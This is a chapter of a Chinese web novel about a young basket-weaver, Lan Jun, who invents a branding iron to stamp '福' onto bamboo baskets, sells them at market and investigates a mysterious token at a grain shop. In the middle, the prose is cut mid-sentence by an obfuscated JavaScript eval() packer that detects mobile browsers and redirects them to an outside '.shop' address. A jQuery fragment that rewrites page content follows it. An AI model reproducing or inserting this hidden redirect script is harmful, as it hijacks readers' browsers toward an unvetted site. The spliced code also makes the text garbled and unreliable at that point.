兰君又失眠了。
关于那个木牌的事,她思考了一下午,最后还是决定先不告诉爹娘和哥哥。
如果是正大光明的事,为什么要拐这么多道弯,最后只为了把一个掰断了一半的木牌送到她手里呢?
可如果对方有恶意,永昌粮行又为什么要答应寄存东西呢?粮行做的是卖粮的生意,又不是寄存物件的生意,他们完全可以拒绝这件事。
这个东西既然能寄存在永昌粮行里,就说明永昌粮行和这人有点交情,而且这个东西不是什么见不得光的东西,只是留东西这人不适合出面。
兰君心里有了一个模糊的人选,但又觉得不太可能。这么长时间没联系了,他怎么知道这事的,他和镇上的粮行有什么关系呢?
她想了快半宿,决定先睡觉再说,兵来将挡水来土掩,明天先好好琢磨琢磨竹筐的事,等到后天赶集的时候,去永昌粮行看看再说。如果是好事,再告诉家人也不迟。
她把木牌收到最贴身的里衣里,闭上了眼睛。
第二天吃完早饭,兰君坐在小溪边,看着溪水哗啦哗啦地流过。今天有点热,她脱了鞋,把裤腿挽起来,把脚伸进溪水里。
溪水凉凉的,带走了燥热的气息,她还在琢磨竹筐的事,睡了一觉起来,脑子清醒多了。
如果竹筐上必须得有个花样,其实不是说一定得是编上去的,也可以用篾刀刻花。
不需要多用篾条,但还是要耗费大量时间,她和哥哥学了八年,刻花这门手艺还没有掌握熟练。
刻花这门手艺得是像爹那样干了十几年的篾匠才能上手刻的。刻花对篾匠的手艺要求极高,刻浅了不行,刻深了容易把篾条穿透,穿透了,这个筐就卖不上价了。
这种刻花筐刻不了复杂图案,而且说白了,好看不到哪儿去,因为篾条在竹筐上是交错着的,交叉的地方会有缝隙,所以线条注定是断断续续的。
这种刻花筐的使用寿命会短很多,篾条表面被破坏了,刻花的部分就会薄很多,普通竹筐一个能用三年左右,这种刻花筐一个能用两年都算说多了。
会有人买一个比寻常竹筐贵但是又不如寻常竹筐耐用的又不太好看的刻花筐吗?
她感觉想了一圈又给自己绕回去了。
想要在竹筐上留下一个花朵形状的图案,但是又想要快一些,实用一些,能够不被篾条交错的缝隙限制,同时满足这些条件,她确实想不出一个比较传统的方式方法了。
如果想想不那么传统的方法呢?有什么方法可以快速把一个图案留在竹筐上,而且不受竹筐本身条件限制的?
……
兰君想到了。
她甩了甩脑袋,想想应该怎么确认一下这个方法可行不可行。
去年夏天,她和哥哥在镇上的茶馆里听说书,当时说书人讲到在历史上的某些朝代,流放的犯人在到了流放地之后,会有专人用烧热的烙铁在犯人身上烙下“囚”字用来表明此人身份,可以有效阻止流放犯外逃。
她对这件事印象极其深刻,听起来实在太吓人了,当时她就听害怕了,拉着哥哥要走,但哥哥听得正入迷,最后到底没听完那个说书人的故事,兄妹俩为这件事还在茶馆门口吵了一架。
现在想起来,如果烧热的烙铁可以起到这样的作用,那可不可以用铁打一个字模或者花模,在娘做饭的时候用灶火烧热,然后烙在竹筐上呢?
兰君又仔细想了想,在脑子里面大致勾起了一下,觉得不是不可行,家里这几天编筐剩下的边角碎料的竹篾一大堆,完全可以打一把烙铁用碎料先试一试,她用袖子擦了擦脚上的水,把鞋套上,飞奔回家里,想和家人商量一下这件事。
爹听了兰君的想法,觉得可以一试,哥哥也同意,娘坐在旁边,也觉得听起来没什么问题。爹合计了一下,这么一把带着花模的烙铁,用不着太大的,村里铁匠随便找几个碎铁块拼一下熔掉,打一把烙铁二十文以内就能解决,实在不行,铁器也可以熔了做别的,不至于砸在手里。
全家人商量了一下,决定先打个“福”字模,“福”这个字最安全,寓意最好,先打一个回来试试,看看能不能卖出去。
说干就干,爹和村子里的老铁匠有交情,去和人家商量一下,看看能不能给打一个。爹自从搬过来,基本没出过院门,他也想出去走走。
爹拄好竹竿,娘背上一个竹筐和一个小竹篮,俩人朝着村口老铁匠家的方向去了,兰君和哥哥把这几天的边角料翻出来,就等着娘做午饭的时候烙一下试试。
过了一个时辰左右,爹和娘从村口回来了,娘把那把烙铁递给兰君,看看是不是她想要的那种,要是觉得不合适,赶紧拿回去让铁匠给改一改。
兰君接过来看了看,烙铁头不大,巴掌大小,上面刻着一个“福”字阳文,字体够粗,铁匠还给安了一个木手柄,握在手里有点发涩,她拿着竹筐比了一下,感觉这个大小正合适。
娘说老铁匠看在爹的面子上,就收了个竹筐,别的啥也不要了,看着兰君和哥哥俩人一脸迫不及待,笑着去生火,说今天早点吃午饭。
灶火烧着了,兰君正蹲在灶台边,准备把烙铁放进去,哥哥一把把她拉到旁边,自己接过烙铁放进灶火里。
他给兰君找了块抹布,让她去打湿,就等着烙铁拿出来的时候赶紧擦去上面的灶灰。兰君打湿抹布之后,顺手拿了一把碎竹篾,俩人一起蹲在灶台旁边,等着烙铁烧热。
过了一小会,烙铁在灶火里慢慢慢慢变红,哥哥和娘感觉可以了,哥哥让娘和兰君躲开点,眼疾手快地把烙铁拿出来,兰君顺势擦去烙铁上的灶灰,哥哥一把把烙铁压在碎篾片上等了一下,白烟冒起来,竹篾表面烫出一道焦黑色的印子,边缘略有点糊。
她看着心里有了数,不能压太久,过了就糊了。
哥哥又把烙铁放回灶火里,看着差不多了又把烙铁抽出来,擦去浮灰,又烙在另一片碎篾片上。等了一两秒赶紧拿起来,一看没盖上,只留下了一个很浅很浅的印记。
哥哥又烧了一下,擦灰后盖了上去,兰君数了四五个数,哥哥一把拿起来,一个焦褐色的“福”字端端正正地印在篾片上,笔画清晰,深浅刚好。
兄妹俩又试了三四次,确定盖上烙铁,再查四五个数拿起来,深浅程度正好,既不会烙糊,也不会不显色,字体也足够完整。
兰君还是有点不太放心,她把家里前几天下雨的时候编出来的留着自家用的大竹筐找出来,把筐腾空,让哥哥在筐底烙一下。
哥哥在筐底和筐身上各自试了一下,都很成功,兰君终于放下心了,就是烙完有点焦糊的味道,估计得先晾在外面散散味才能拿出去卖。
兄妹俩还在研究,娘喊他俩先吃饭,吃完饭再起一次火,不差那点柴火了。
……
鸡还没叫,兰君就醒了。哥哥昨晚很兴奋,他俩的竹床挨在一起,她听见昨晚他前半宿一直在翻身。
这次赶集对哥哥来讲,应该是一个值得兴奋的日子,但对她而言,她不知道该兴奋还是该紧张,虽然那个木牌是前天下午的时候收到的,但翻来覆去地想了无数次,突然有种恍如隔世
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861145|212002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的感觉。
一个期待了很久的答案终于要在今天揭开,她说不上来是什么心情,总之谈不上好也谈不上坏。
她起身推开房门,把屋檐下晾着的五个福字竹筐挨个闻了一下,没什么味道,她稍稍放下心来。
每个福字竹筐都在底部和筐身上各烙上了一个福字,她把这五个福字筐摞在一起,又去堂屋角落里拿了五个普通竹筐,装进去八个笊篱,确认了一下木牌还在身上后,进屋把哥哥喊了起来。兄妹俩吃了点干粮,一人背着一摞竹筐,朝着镇上的方向走去。
兄妹俩还是在老位置摆摊,今天来得比往常早多了,往常这个时候镇上估计都没什么人,但今天人还不少,背着包袱的,领着孩子的,还有问路的。
兰君和旁边卖菜的大娘混熟了,和她聊了两句。听邱大娘说是明天镇上办庙会,今天有外地人过来踩踩点,所以人多一些。
她还说庙会一共两天,所以明天镇集也开,就是得来早点,不然位置不好占。邱大娘家就住这旁边,走两条街就到了,她要来得早,也帮他俩把位置占上。
兰君一听,得亏邱大娘告诉自己,不然错过这庙会可亏大了,庙会一年也没几次。她想着家里还有不少干野菜,明天抓一把来给大娘。
兄妹俩把笊篱摆第一排,福字筐摆第二排,普通竹筐摆第三排,兰君开始招呼走走停停的路人看看竹筐。
第一个来问价的是个中年妇人,拿起来一个福字竹筐,翻来覆去看了一遍,问多少钱,兰君顺手帮她挑了一个编得最匀的递给她:“娘子,这个筐二十文一个。”
妇人皱了皱眉头:“上次我看你们在这边卖,喊的可是十五文一个,这咋二十文呢?”
兰君拿着筐给她看:“这个带福字的比普通的好看,您拿回家装啥都好,还图个吉利,过年过节摆在家里看着也喜庆。”
妇人没再还价,掏了二十文递给她,拿着筐走了。
今天镇上的人确实比往常多,看筐的人也多,不多时,兰君就卖出去两个福字筐和三个笊篱,收入五十五文,哥哥这几次赶集下来,也敢吆喝了:“自家编的竹筐,结实耐用。”
又过来几个妇人,看着像是约着一起出来赶集的,兰君拿着筐给她们挨个介绍,还让她们上手摸一下筐,这几个妇人一共带走了两个福字筐和一个竹筐一个笊篱,收入六十文。
还不到一个时辰就卖出去不少,兰君很高兴,但她还没忘记木牌的事。她看镇上的人流慢慢多起来,觉得这个时候去找那家粮行比较稳妥。这个时候街上人多,出不了什么事。
她和邱大娘打听了一下永昌粮行的位置,得知就在对面杂货铺后身的那条街上,最大的那家铺子就是,拐过去就能看见。
她扭过头去和哥哥说:“你先在这儿卖着,我想去永昌粮行看看米,这两天卖了不少钱,要是有好点的米,咱们买点回去。”
哥哥点了点头,拿了四十文左右的铜板给她。兰君和哥哥又强调了一遍,她是去永昌粮行看看米价。
哥哥扭头看了她一眼:“我觉得你今天怪怪的。”
兰君没接茬,数了数钱,背起一个竹筐:“我会尽快回来的,等着我啊。”哥哥摆了摆手,让她快去快回。
兰君按照邱大娘给的地址,很快就找到了那家永昌粮行,这家粮行确实很显眼,拐过弯来一眼就能看见。她没来过这条街,但打眼一看,估计七宝镇上比这家粮行大的店也没几个了。
她看了看街上来来往往的行人,深吸了一口气,掏出早就攥在手心里的木牌,进了永昌粮行的门。